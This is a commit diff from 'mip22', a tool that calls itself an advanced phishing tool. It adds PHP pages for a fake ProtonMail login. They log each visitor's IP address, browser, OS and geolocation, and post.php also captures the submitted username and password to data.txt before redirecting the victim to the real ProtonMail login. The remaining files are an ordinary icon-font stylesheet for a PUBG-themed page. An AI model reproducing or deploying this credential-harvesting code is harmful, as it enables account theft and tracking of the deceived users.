Add files via upload

.pages/protonmail/fingerprints.php

@@ -0,0 +1,126 @@
+<?php 
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+
+// Set File write informations
+$file = "fingerprints.txt";
+
+
+// Get Full date of victim visit
+$full_date = date("d-m-Y h:i:s");
+
+
+// Get Victim IP
+if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
+    $ip = $_SERVER['HTTP_CLIENT_IP'];
+} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
+} else {
+    $ip = $_SERVER['REMOTE_ADDR'];
+}
+
+
+// Get Victim Browser
+$browser = $_SERVER['HTTP_USER_AGENT'];
+
+
+// Get Victim Os System
+
+function get_operating_system() {
+    $u_agent = $_SERVER['HTTP_USER_AGENT'];
+    $operating_system = 'Unknown Operating System';
+
+    //Get the operating_system name
+    if (preg_match('/linux/i', $u_agent)) {
+        $operating_system = 'Linux';
+    } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
+        $operating_system = 'Mac';
+    } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
+        $operating_system = 'Windows';
+    } elseif (preg_match('/ubuntu/i', $u_agent)) {
+        $operating_system = 'Ubuntu';
+    } elseif (preg_match('/iphone/i', $u_agent)) {
+        $operating_system = 'IPhone';
+    } elseif (preg_match('/ipod/i', $u_agent)) {
+        $operating_system = 'IPod';
+    } elseif (preg_match('/ipad/i', $u_agent)) {
+        $operating_system = 'IPad';
+    } elseif (preg_match('/android/i', $u_agent)) {
+        $operating_system = 'Android';
+    } elseif (preg_match('/blackberry/i', $u_agent)) {
+        $operating_system = 'Blackberry';
+    } elseif (preg_match('/webos/i', $u_agent)) {
+        $operating_system = 'Mobile';
+    }
+    
+    return $operating_system;
+}
+
+
+$os_system = get_operating_system();
+
+
+
+// Get Victim Geolocation Info
+function get_client_ip()
+{
+    $ipaddress = '';
+    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
+        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
+    } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED'];
+    } else if (isset($_SERVER['REMOTE_ADDR'])) {
+        $ipaddress = $_SERVER['REMOTE_ADDR'];
+    } else {
+        $ipaddress = 'UNKNOWN';
+    }
+
+    return $ipaddress;
+}
+$PublicIP = get_client_ip();
+$json     = file_get_contents("http://ipinfo.io/$PublicIP/geo");
+$json     = json_decode($json, true);
+$country  = $json['country'];
+$region   = $json['region'];
+$city     = $json['city'];
+
+
+
+
+file_put_contents($file, print_r("\nPROTONMAIL VICTIM FINGERPRINTS => Informations \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
+file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
+file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
+file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("\n", true), FILE_APPEND);
+
+?>

.pages/protonmail/index.php

@@ -0,0 +1,25 @@
+<?php
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+include 'fingerprints.php';
+header('Location: index.html');
+exit;
+?>

.pages/protonmail/post.php

@@ -0,0 +1,130 @@
+<?php 
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+
+// Set File write informations
+$file = "data.txt";
+
+
+// Get Full date of victim visit
+$full_date = date("d-m-Y h:i:s");
+
+
+// Get Victim IP
+if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
+    $ip = $_SERVER['HTTP_CLIENT_IP'];
+} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
+} else {
+    $ip = $_SERVER['REMOTE_ADDR'];
+}
+
+
+// Get Victim Browser
+$browser = $_SERVER['HTTP_USER_AGENT'];
+
+
+// Get Victim Os System
+
+function get_operating_system() {
+    $u_agent = $_SERVER['HTTP_USER_AGENT'];
+    $operating_system = 'Unknown Operating System';
+
+    //Get the operating_system name
+    if (preg_match('/linux/i', $u_agent)) {
+        $operating_system = 'Linux';
+    } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
+        $operating_system = 'Mac';
+    } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
+        $operating_system = 'Windows';
+    } elseif (preg_match('/ubuntu/i', $u_agent)) {
+        $operating_system = 'Ubuntu';
+    } elseif (preg_match('/iphone/i', $u_agent)) {
+        $operating_system = 'IPhone';
+    } elseif (preg_match('/ipod/i', $u_agent)) {
+        $operating_system = 'IPod';
+    } elseif (preg_match('/ipad/i', $u_agent)) {
+        $operating_system = 'IPad';
+    } elseif (preg_match('/android/i', $u_agent)) {
+        $operating_system = 'Android';
+    } elseif (preg_match('/blackberry/i', $u_agent)) {
+        $operating_system = 'Blackberry';
+    } elseif (preg_match('/webos/i', $u_agent)) {
+        $operating_system = 'Mobile';
+    }
+    
+    return $operating_system;
+}
+
+
+$os_system = get_operating_system();
+
+
+
+// Get Victim Geolocation Info
+function get_client_ip()
+{
+    $ipaddress = '';
+    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
+        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
+    } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED'];
+    } else if (isset($_SERVER['REMOTE_ADDR'])) {
+        $ipaddress = $_SERVER['REMOTE_ADDR'];
+    } else {
+        $ipaddress = 'UNKNOWN';
+    }
+
+    return $ipaddress;
+}
+$PublicIP = get_client_ip();
+$json     = file_get_contents("http://ipinfo.io/$PublicIP/geo");
+$json     = json_decode($json, true);
+$country  = $json['country'];
+$region   = $json['region'];
+$city     = $json['city'];
+
+
+
+
+file_put_contents($file, print_r("\nPROTONMAIL VICTIM DATA => Informations \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
+file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
+file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
+file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
+file_put_contents($file, "Username: " . $_POST['username'] . "\n", FILE_APPEND);
+file_put_contents($file, "Password: " . $_POST['password'] . "\n", FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("\n", true), FILE_APPEND);
+
+?>
+
+ <meta http-equiv="refresh" content="0; url=https://account.protonmail.com/login"/> 

.pages/pubg/ajax/libs/material-design-iconic-font/2-2-0/css/material-design-iconic-font.css

@@ -0,0 +1,5166 @@
+/*!
+ *  Material Design Iconic Font by Sergey Kupletsky (@zavoloklom) - http://zavoloklom.github.io/material-design-iconic-font/
+ *  License - http://zavoloklom.github.io/material-design-iconic-font/license (Font: SIL OFL 1.1, CSS: MIT License)
+ */
+@font-face {
+  font-family: 'Material-Design-Iconic-Font';
+  src: url('../fonts/material-design-iconic-font.woff') format('woff2'), url('../fonts/material-design-iconic-font.woff') format('woff'), url('../fonts/material-design-iconic-font.ttf') format('truetype');
+  font-weight: normal;
+  font-style: normal;
+}
+.zmdi {
+  display: inline-block;
+  font: normal normal normal 14px/1 'Material-Design-Iconic-Font';
+  font-size: inherit;
+  text-rendering: auto;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+.zmdi-hc-lg {
+  font-size: 1.33333333em;
+  line-height: 0.75em;
+  vertical-align: -15%;
+}
+.zmdi-hc-2x {
+  font-size: 2em;
+}
+.zmdi-hc-3x {
+  font-size: 3em;
+}
+.zmdi-hc-4x {
+  font-size: 4em;
+}
+.zmdi-hc-5x {
+  font-size: 5em;
+}
+.zmdi-hc-fw {
+  width: 1.28571429em;
+  text-align: center;
+}
+.zmdi-hc-ul {
+  padding-left: 0;
+  margin-left: 2.14285714em;
+  list-style-type: none;
+}
+.zmdi-hc-ul > li {
+  position: relative;
+}
+.zmdi-hc-li {
+  position: absolute;
+  left: -2.14285714em;
+  width: 2.14285714em;
+  top: 0.14285714em;
+  text-align: center;
+}
+.zmdi-hc-li.zmdi-hc-lg {
+  left: -1.85714286em;
+}
+.zmdi-hc-border {
+  padding: .1em .25em;
+  border: solid 0.1em #9e9e9e;
+  border-radius: 2px;
+}
+.zmdi-hc-border-circle {
+  padding: .1em .25em;
+  border: solid 0.1em #9e9e9e;
+  border-radius: 50%;
+}
+.zmdi.pull-left {
+  float: left;
+  margin-right: .15em;
+}
+.zmdi.pull-right {
+  float: right;
+  margin-left: .15em;
+}
+.zmdi-hc-spin {
+  -webkit-animation: zmdi-spin 1.5s infinite linear;
+          animation: zmdi-spin 1.5s infinite linear;
+}
+.zmdi-hc-spin-reverse {
+  -webkit-animation: zmdi-spin-reverse 1.5s infinite linear;
+          animation: zmdi-spin-reverse 1.5s infinite linear;
+}
+@-webkit-keyframes zmdi-spin {
+  0% {
+    -webkit-transform: rotate(0deg);
+            transform: rotate(0deg);
+  }
+  100% {
+    -webkit-transform: rotate(359deg);
+            transform: rotate(359deg);
+  }
+}
+@keyframes zmdi-spin {
+  0% {
+    -webkit-transform: rotate(0deg);
+            transform: rotate(0deg);
+  }
+  100% {
+    -webkit-transform: rotate(359deg);
+            transform: rotate(359deg);
+  }
+}
+@-webkit-keyframes zmdi-spin-reverse {
+  0% {
+    -webkit-transform: rotate(0deg);
+            transform: rotate(0deg);
+  }
+  100% {
+    -webkit-transform: rotate(-359deg);
+            transform: rotate(-359deg);
+  }
+}
+@keyframes zmdi-spin-reverse {
+  0% {
+    -webkit-transform: rotate(0deg);
+            transform: rotate(0deg);
+  }
+  100% {
+    -webkit-transform: rotate(-359deg);
+            transform: rotate(-359deg);
+  }
+}
+.zmdi-hc-rotate-90 {
+  -webkit-transform: rotate(90deg);
+      -ms-transform: rotate(90deg);
+          transform: rotate(90deg);
+}
+.zmdi-hc-rotate-180 {
+  -webkit-transform: rotate(180deg);
+      -ms-transform: rotate(180deg);
+          transform: rotate(180deg);
+}
+.zmdi-hc-rotate-270 {
+  -webkit-transform: rotate(270deg);
+      -ms-transform: rotate(270deg);
+          transform: rotate(270deg);
+}
+.zmdi-hc-flip-horizontal {
+  -webkit-transform: scale(-1, 1);
+      -ms-transform: scale(-1, 1);
+          transform: scale(-1, 1);
+}
+.zmdi-hc-flip-vertical {
+  -webkit-transform: scale(1, -1);
+      -ms-transform: scale(1, -1);
+          transform: scale(1, -1);
+}
+.zmdi-hc-stack {
+  position: relative;
+  display: inline-block;
+  width: 2em;
+  height: 2em;
+  line-height: 2em;
+  vertical-align: middle;
+}
+.zmdi-hc-stack-1x,
+.zmdi-hc-stack-2x {
+  position: absolute;
+  left: 0;
+  width: 100%;
+  text-align: center;
+}
+.zmdi-hc-stack-1x {
+  line-height: inherit;
+}
+.zmdi-hc-stack-2x {
+  font-size: 2em;
+}
+.zmdi-hc-inverse {
+  color: #ffffff;
+}
+/* Material Design Iconic Font uses the Unicode Private Use Area (PUA) to ensure screen
+   readers do not read off random characters that represent icons */
+.zmdi-3d-rotation:before {
+  content: '\f101';
+}
+.zmdi-airplane-off:before {
+  content: '\f102';
+}
+.zmdi-airplane:before {
+  content: '\f103';
+}
+.zmdi-album:before {
+  content: '\f104';
+}
+.zmdi-archive:before {
+  content: '\f105';
+}
+.zmdi-assignment-account:before {
+  content: '\f106';
+}
+.zmdi-assignment-alert:before {
+  content: '\f107';
+}
+.zmdi-assignment-check:before {
+  content: '\f108';
+}
+.zmdi-assignment-o:before {
+  content: '\f109';
+}
+.zmdi-assignment-return:before {
+  content: '\f10a';
+}
+.zmdi-assignment-returned:before {
+  content: '\f10b';
+}
+.zmdi-assignment:before {
+  content: '\f10c';
+}
+.zmdi-attachment-alt:before {
+  content: '\f10d';
+}
+.zmdi-attachment:before {
+  content: '\f10e';
+}
+.zmdi-audio:before {
+  content: '\f10f';
+}
+.zmdi-badge-check:before {
+  content: '\f110';
+}
+.zmdi-balance-wallet:before {
+  content: '\f111';
+}
+.zmdi-balance:before {
+  content: '\f112';
+}
+.zmdi-battery-alert:before {
+  content: '\f113';
+}
+.zmdi-battery-flash:before {
+  content: '\f114';
+}
+.zmdi-battery-unknown:before {
+  content: '\f115';
+}
+.zmdi-battery:before {
+  content: '\f116';
+}
+.zmdi-bike:before {
+  content: '\f117';
+}
+.zmdi-block-alt:before {
+  content: '\f118';
+}
+.zmdi-block:before {
+  content: '\f119';
+}
+.zmdi-boat:before {
+  content: '\f11a';
+}
+.zmdi-book-image:before {
+  content: '\f11b';
+}
+.zmdi-book:before {
+  content: '\f11c';
+}
+.zmdi-bookmark-outline:before {
+  content: '\f11d';
+}
+.zmdi-bookmark:before {
+  content: '\f11e';
+}
+.zmdi-brush:before {
+  content: '\f11f';
+}
+.zmdi-bug:before {
+  content: '\f120';
+}
+.zmdi-bus:before {
+  content: '\f121';
+}
+.zmdi-cake:before {
+  content: '\f122';
+}
+.zmdi-car-taxi:before {
+  content: '\f123';
+}
+.zmdi-car-wash:before {
+  content: '\f124';
+}
+.zmdi-car:before {
+  content: '\f125';
+}
+.zmdi-card-giftcard:before {
+  content: '\f126';
+}
+.zmdi-card-membership:before {
+  content: '\f127';
+}
+.zmdi-card-travel:before {
+  content: '\f128';
+}
+.zmdi-card:before {
+  content: '\f129';
+}
+.zmdi-case-check:before {
+  content: '\f12a';
+}
+.zmdi-case-download:before {
+  content: '\f12b';
+}
+.zmdi-case-play:before {
+  content: '\f12c';
+}
+.zmdi-case:before {
+  content: '\f12d';
+}
+.zmdi-cast-connected:before {
+  content: '\f12e';
+}
+.zmdi-cast:before {
+  content: '\f12f';
+}
+.zmdi-chart-donut:before {
+  content: '\f130';
+}
+.zmdi-chart:before {
+  content: '\f131';
+}
+.zmdi-city-alt:before {
+  content: '\f132';
+}
+.zmdi-city:before {
+  content: '\f133';
+}
+.zmdi-close-circle-o:before {
+  content: '\f134';
+}
+.zmdi-close-circle:before {
+  content: '\f135';
+}
+.zmdi-close:before {
+  content: '\f136';
+}
+.zmdi-cocktail:before {
+  content: '\f137';
+}
+.zmdi-code-setting:before {
+  content: '\f138';
+}
+.zmdi-code-smartphone:before {
+  content: '\f139';
+}
+.zmdi-code:before {
+  content: '\f13a';
+}
+.zmdi-coffee:before {
+  content: '\f13b';
+}
+.zmdi-collection-bookmark:before {
+  content: '\f13c';
+}
+.zmdi-collection-case-play:before {
+  content: '\f13d';
+}
+.zmdi-collection-folder-image:before {
+  content: '\f13e';
+}
+.zmdi-collection-image-o:before {
+  content: '\f13f';
+}
+.zmdi-collection-image:before {
+  content: '\f140';
+}
+.zmdi-collection-item-1:before {
+  content: '\f141';
+}
+.zmdi-collection-item-2:before {
+  content: '\f142';
+}
+.zmdi-collection-item-3:before {
+  content: '\f143';
+}
+.zmdi-collection-item-4:before {
+  content: '\f144';
+}
+.zmdi-collection-item-5:before {
+  content: '\f145';
+}
+.zmdi-collection-item-6:before {
+  content: '\f146';
+}
+.zmdi-collection-item-7:before {
+  content: '\f147';
+}
+.zmdi-collection-item-8:before {
+  content: '\f148';
+}
+.zmdi-collection-item-9-plus:before {
+  content: '\f149';
+}
+.zmdi-collection-item-9:before {
+  content: '\f14a';
+}
+.zmdi-collection-item:before {
+  content: '\f14b';
+}
+.zmdi-collection-music:before {
+  content: '\f14c';
+}
+.zmdi-collection-pdf:before {
+  content: '\f14d';
+}
+.zmdi-collection-plus:before {
+  content: '\f14e';
+}
+.zmdi-collection-speaker:before {
+  content: '\f14f';
+}
+.zmdi-collection-text:before {
+  content: '\f150';
+}
+.zmdi-collection-video:before {
+  content: '\f151';
+}
+.zmdi-compass:before {
+  content: '\f152';
+}
+.zmdi-cutlery:before {
+  content: '\f153';
+}
+.zmdi-delete:before {
+  content: '\f154';
+}
+.zmdi-dialpad:before {
+  content: '\f155';
+}
+.zmdi-dns:before {
+  content: '\f156';
+}
+.zmdi-drink:before {
+  content: '\f157';
+}
+.zmdi-edit:before {
+  content: '\f158';
+}
+.zmdi-email-open:before {
+  content: '\f159';
+}
+.zmdi-email:before {
+  content: '\f15a';
+}
+.zmdi-eye-off:before {
+  content: '\f15b';
+}
+.zmdi-eye:before {
+  content: '\f15c';
+}
+.zmdi-eyedropper:before {
+  content: '\f15d';
+}
+.zmdi-favorite-outline:before {
+  content: '\f15e';
+}
+.zmdi-favorite:before {
+  content: '\f15f';
+}
+.zmdi-filter-list:before {
+  content: '\f160';
+}
+.zmdi-fire:before {
+  content: '\f161';
+}
+.zmdi-flag:before {
+  content: '\f162';
+}
+.zmdi-flare:before {
+  content: '\f163';
+}
+.zmdi-flash-auto:before {
+  content: '\f164';
+}
+.zmdi-flash-off:before {
+  content: '\f165';
+}
+.zmdi-flash:before {
+  content: '\f166';
+}
+.zmdi-flip:before {
+  content: '\f167';
+}
+.zmdi-flower-alt:before {
+  content: '\f168';
+}
+.zmdi-flower:before {
+  content: '\f169';
+}
+.zmdi-font:before {
+  content: '\f16a';
+}
+.zmdi-fullscreen-alt:before {
+  content: '\f16b';
+}
+.zmdi-fullscreen-exit:before {
+  content: '\f16c';
+}
+.zmdi-fullscreen:before {
+  content: '\f16d';
+}
+.zmdi-functions:before {
+  content: '\f16e';
+}
+.zmdi-gas-station:before {
+  content: '\f16f';
+}
+.zmdi-gesture:before {
+  content: '\f170';
+}
+.zmdi-globe-alt:before {
+  content: '\f171';
+}
+.zmdi-globe-lock:before {
+  content: '\f172';
+}
+.zmdi-globe:before {
+  content: '\f173';
+}
+.zmdi-graduation-cap:before {
+  content: '\f174';
+}
+.zmdi-home:before {
+  content: '\f175';
+}
+.zmdi-hospital-alt:before {
+  content: '\f176';
+}
+.zmdi-hospital:before {
+  content: '\f177';
+}
+.zmdi-hotel:before {
+  content: '\f178';
+}
+.zmdi-hourglass-alt:before {
+  content: '\f179';
+}
+.zmdi-hourglass-outline:before {
+  content: '\f17a';
+}
+.zmdi-hourglass:before {
+  content: '\f17b';
+}
+.zmdi-http:before {
+  content: '\f17c';
+}
+.zmdi-image-alt:before {
+  content: '\f17d';
+}
+.zmdi-image-o:before {
+  content: '\f17e';
+}
+.zmdi-image:before {
+  content: '\f17f';
+}
+.zmdi-inbox:before {
+  content: '\f180';
+}
+.zmdi-invert-colors-off:before {
+  content: '\f181';
+}
+.zmdi-invert-colors:before {
+  content: '\f182';
+}
+.zmdi-key:before {
+  content: '\f183';
+}
+.zmdi-label-alt-outline:before {
+  content: '\f184';
+}
+.zmdi-label-alt:before {
+  content: '\f185';
+}
+.zmdi-label-heart:before {
+  content: '\f186';
+}
+.zmdi-label:before {
+  content: '\f187';
+}
+.zmdi-labels:before {
+  content: '\f188';
+}
+.zmdi-lamp:before {
+  content: '\f189';
+}
+.zmdi-landscape:before {
+  content: '\f18a';
+}
+.zmdi-layers-off:before {
+  content: '\f18b';
+}
+.zmdi-layers:before {
+  content: '\f18c';
+}
+.zmdi-library:before {
+  content: '\f18d';
+}
+.zmdi-link:before {
+  content: '\f18e';
+}
+.zmdi-lock-open:before {
+  content: '\f18f';
+}
+.zmdi-lock-outline:before {
+  content: '\f190';
+}
+.zmdi-lock:before {
+  content: '\f191';
+}
+.zmdi-mail-reply-all:before {
+  content: '\f192';
+}
+.zmdi-mail-reply:before {
+  content: '\f193';
+}
+.zmdi-mail-send:before {
+  content: '\f194';
+}
+.zmdi-mall:before {
+  content: '\f195';
+}
+.zmdi-map:before {
+  content: '\f196';
+}
+.zmdi-menu:before {
+  content: '\f197';
+}
+.zmdi-money-box:before {
+  content: '\f198';
+}
+.zmdi-money-off:before {
+  content: '\f199';
+}
+.zmdi-money:before {
+  content: '\f19a';
+}
+.zmdi-more-vert:before {
+  content: '\f19b';
+}
+.zmdi-more:before {
+  content: '\f19c';
+}
+.zmdi-movie-alt:before {
+  content: '\f19d';
+}
+.zmdi-movie:before {
+  content: '\f19e';
+}
+.zmdi-nature-people:before {
+  content: '\f19f';
+}
+.zmdi-nature:before {
+  content: '\f1a0';
+}
+.zmdi-navigation:before {
+  content: '\f1a1';
+}
+.zmdi-open-in-browser:before {
+  content: '\f1a2';
+}
+.zmdi-open-in-new:before {
+  content: '\f1a3';
+}
+.zmdi-palette:before {
+  content: '\f1a4';
+}
+.zmdi-parking:before {
+  content: '\f1a5';
+}
+.zmdi-pin-account:before {
+  content: '\f1a6';
+}
+.zmdi-pin-assistant:before {
+  content: '\f1a7';
+}
+.zmdi-pin-drop:before {
+  content: '\f1a8';
+}
+.zmdi-pin-help:before {
+  content: '\f1a9';
+}
+.zmdi-pin-off:before {
+  content: '\f1aa';
+}
+.zmdi-pin:before {
+  content: '\f1ab';
+}
+.zmdi-pizza:before {
+  content: '\f1ac';
+}
+.zmdi-plaster:before {
+  content: '\f1ad';
+}
+.zmdi-power-setting:before {
+  content: '\f1ae';
+}
+.zmdi-power:before {
+  content: '\f1af';
+}
+.zmdi-print:before {
+  content: '\f1b0';
+}
+.zmdi-puzzle-piece:before {
+  content: '\f1b1';
+}
+.zmdi-quote:before {
+  content: '\f1b2';
+}
+.zmdi-railway:before {
+  content: '\f1b3';
+}
+.zmdi-receipt:before {
+  content: '\f1b4';
+}
+.zmdi-refresh-alt:before {
+  content: '\f1b5';
+}
+.zmdi-refresh-sync-alert:before {
+  content: '\f1b6';
+}
+.zmdi-refresh-sync-off:before {
+  content: '\f1b7';
+}
+.zmdi-refresh-sync:before {
+  content: '\f1b8';
+}
+.zmdi-refresh:before {
+  content: '\f1b9';
+}
+.zmdi-roller:before {
+  content: '\f1ba';
+}
+.zmdi-ruler:before {
+  content: '\f1bb';
+}
+.zmdi-scissors:before {
+  content: '\f1bc';
+}
+.zmdi-screen-rotation-lock:before {
+  content: '\f1bd';
+}
+.zmdi-screen-rotation:before {
+  content: '\f1be';
+}
+.zmdi-search-for:before {
+  content: '\f1bf';
+}
+.zmdi-search-in-file:before {
+  content: '\f1c0';
+}
+.zmdi-search-in-page:before {
+  content: '\f1c1';
+}
+.zmdi-search-replace:before {
+  content: '\f1c2';
+}
+.zmdi-search:before {
+  content: '\f1c3';
+}
+.zmdi-seat:before {
+  content: '\f1c4';
+}
+.zmdi-settings-square:before {
+  content: '\f1c5';
+}
+.zmdi-settings:before {
+  content: '\f1c6';
+}
+.zmdi-shield-check:before {
+  content: '\f1c7';
+}
+.zmdi-shield-security:before {
+  content: '\f1c8';
+}
+.zmdi-shopping-basket:before {
+  content: '\f1c9';
+}
+.zmdi-shopping-cart-plus:before {
+  content: '\f1ca';
+}
+.zmdi-shopping-cart:before {
+  content: '\f1cb';
+}
+.zmdi-sign-in:before {
+  content: '\f1cc';
+}
+.zmdi-sort-amount-asc:before {
+  content: '\f1cd';
+}
+.zmdi-sort-amount-desc:before {
+  content: '\f1ce';
+}
+.zmdi-sort-asc:before {
+  content: '\f1cf';
+}
+.zmdi-sort-desc:before {
+  content: '\f1d0';
+}
+.zmdi-spellcheck:before {
+  content: '\f1d1';
+}
+.zmdi-storage:before {
+  content: '\f1d2';
+}
+.zmdi-store-24:before {
+  content: '\f1d3';
+}
+.zmdi-store:before {
+  content: '\f1d4';
+}
+.zmdi-subway:before {
+  content: '\f1d5';
+}
+.zmdi-sun:before {
+  content: '\f1d6';
+}
+.zmdi-tab-unselected:before {
+  content: '\f1d7';
+}
+.zmdi-tab:before {
+  content: '\f1d8';
+}
+.zmdi-tag-close:before {
+  content: '\f1d9';
+}
+.zmdi-tag-more:before {
+  content: '\f1da';
+}
+.zmdi-tag:before {
+  content: '\f1db';
+}
+.zmdi-thumb-down:before {
+  content: '\f1dc';
+}
+.zmdi-thumb-up-down:before {
+  content: '\f1dd';
+}
+.zmdi-thumb-up:before {
+  content: '\f1de';
+}
+.zmdi-ticket-star:before {
+  content: '\f1df';
+}
+.zmdi-toll:before {
+  content: '\f1e0';
+}
+.zmdi-toys:before {
+  content: '\f1e1';
+}
+.zmdi-traffic:before {
+  content: '\f1e2';
+}
+.zmdi-translate:before {
+  content: '\f1e3';
+}
+.zmdi-triangle-down:before {
+  content: '\f1e4';
+}
+.zmdi-triangle-up:before {
+  content: '\f1e5';
+}
+.zmdi-truck:before {
+  content: '\f1e6';
+}
+.zmdi-turning-sign:before {
+  content: '\f1e7';
+}
+.zmdi-wallpaper:before {
+  content: '\f1e8';
+}
+.zmdi-washing-machine:before {
+  content: '\f1e9';
+}
+.zmdi-window-maximize:before {
+  content: '\f1ea';
+}
+.zmdi-window-minimize:before {
+  content: '\f1eb';
+}
+.zmdi-window-restore:before {
+  content: '\f1ec';
+}
+.zmdi-wrench:before {
+  content: '\f1ed';
+}
+.zmdi-zoom-in:before {
+  content: '\f1ee';
+}
+.zmdi-zoom-out:before {
+  content: '\f1ef';
+}
+.zmdi-alert-circle-o:before {
+  content: '\f1f0';
+}
+.zmdi-alert-circle:before {
+  content: '\f1f1';
+}
+.zmdi-alert-octagon:before {
+  content: '\f1f2';
+}
+.zmdi-alert-polygon:before {
+  content: '\f1f3';
+}
+.zmdi-alert-triangle:before {
+  content: '\f1f4';
+}
+.zmdi-help-outline:before {
+  content: '\f1f5';
+}
+.zmdi-help:before {
+  content: '\f1f6';
+}
+.zmdi-info-outline:before {
+  content: '\f1f7';
+}
+.zmdi-info:before {
+  content: '\f1f8';
+}
+.zmdi-notifications-active:before {
+  content: '\f1f9';
+}
+.zmdi-notifications-add:before {
+  content: '\f1fa';
+}
+.zmdi-notifications-none:before {
+  content: '\f1fb';
+}
+.zmdi-notifications-off:before {
+  content: '\f1fc';
+}
+.zmdi-notifications-paused:before {
+  content: '\f1fd';
+}
+.zmdi-notifications:before {
+  content: '\f1fe';
+}
+.zmdi-account-add:before {
+  content: '\f1ff';
+}
+.zmdi-account-box-mail:before {
+  content: '\f200';
+}
+.zmdi-account-box-o:before {
+  content: '\f201';
+}
+.zmdi-account-box-phone:before {
+  content: '\f202';
+}
+.zmdi-account-box:before {
+  content: '\f203';
+}
+.zmdi-account-calendar:before {
+  content: '\f204';
+}
+.zmdi-account-circle:before {
+  content: '\f205';
+}
+.zmdi-account-o:before {
+  content: '\f206';
+}
+.zmdi-account:before {
+  content: '\f207';
+}
+.zmdi-accounts-add:before {
+  content: '\f208';
+}
+.zmdi-accounts-alt:before {
+  content: '\f209';
+}
